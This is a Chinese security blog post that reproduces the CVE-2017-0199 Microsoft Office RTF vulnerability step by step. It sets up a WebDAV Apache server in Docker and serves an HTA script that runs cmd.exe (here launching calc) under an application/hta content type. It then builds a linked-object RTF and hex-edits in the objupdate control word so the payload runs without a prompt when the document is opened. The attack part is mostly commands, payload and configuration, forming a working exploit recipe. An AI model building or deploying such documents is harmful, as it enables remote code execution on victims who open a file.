↗点击上方“Web安全与前端”关注我们
4月11日,Microsoft Office 爆出了首个漏洞--Microsoft Office RTF漏洞(CVE-2017-0199),这个漏洞可以影响以下系统:
Microsoft Office 2016
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007
当用户打开包含嵌入式漏洞的文档时,这个就会下载并执行包含PowerShell命令的Visual Basic脚本。
微软官方对该漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
首先我们需要一个Apache服务器、一个POC、一个Word,一个沉着冷静的内心和一个帅气的微笑~
apache需要开启DAV支持,为了方便。
这里我使用了docker来搭建,写了如下Dockerfile:
其中start.sh的内容为:
然后构建该镜像:
docker build -t cve-2017-0199 .
运行容器:
docker run -d -p 8881:80 cve-2017-0199
本地打开,如果出现如下页面表示搭建成功:
<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>
新建一个Word,名为:test.docx
内容任意,我这里使用Hi, Striker
首先在apache目录下建立test目录,我们需要进入docker容器中并返回一个交互shell,方便后续操作:
docker exec -it 容器ID /bin/bash
然后在交互shell中执行:
mkdir /var/www/html/test/
然后我们把test.docx
复制到test
目录下:
新建一个shell窗口执行:
docker cp `pwd`/test.docx 容器ID:/var/www/html/test/
然后在把test.docx
命名为test.rtf
:
cd /var/www/html/test/
mv test.docx test.rtf
然后新建一个word就叫mypoc.docx
吧。
分别点击插入 -> 对象 -> 由文件创建 -> 链接到文件
,然后输入rtf的网址。
然后把mypoc.docx
另存为exp.rtf
。
现在我们可以删掉apache上的test.rtf
,然后写入POC或直接替换掉test.rtf
:
echo "<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>" > test.rtf
此时我们需要修改apache的配置:
vi /etc/apache2/apache2.conf
需要添加的内容如下:
<Directory />
Dav on
</Directory>
<Directory /var/www/html/test/>
Header set Content-Type "application/hta"
</Directory>
效果如图:
然后重启服务器:
service apache2 restart
此时打开我们的exp.rtf
点击“是”,将会弹出计算器:
当然这个提示也是可以取消掉的。
我们用winhex
打开exp.rtf
将\object\objautlink\rsltpict
修改为\object\objautlink\objupdate\rsltpict
:
然后再次打开exp.rtf
,直接可以弹出计算器:
是不是很厉害?
注:本文原创,转载请通过本公众号联系作者。
安全&前端
长按二维码
关注我们